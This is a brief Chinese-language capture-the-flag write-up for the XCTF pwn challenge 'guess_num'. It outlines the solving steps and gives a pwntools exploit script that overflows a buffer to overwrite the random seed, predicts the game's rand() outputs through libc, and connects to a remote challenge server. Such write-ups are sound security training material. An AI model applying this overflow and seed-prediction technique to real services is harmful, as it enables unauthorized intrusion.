Pwn弟弟的成长日记（二）--攻防世界guess_num

解题思路

1. 查看文件信息，安全机制
2. 代码审计
3. 分析漏洞点
4. 编写EXP

查看文件信息，安全机制

太菜了参考了dalao的wp

伪随机数

编写exp

from pwn import *
from ctypes import *
p=remote("111.198.29.45","45366")
payload="a"*0x20+p64(1)
p.recvuntil("name:")
p.sendline(payload)
for i in range(10):
    num = str(cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6").rand()%6 + 1)
    p.recvuntil("number:")
    p.sendline(num)
p.interactive()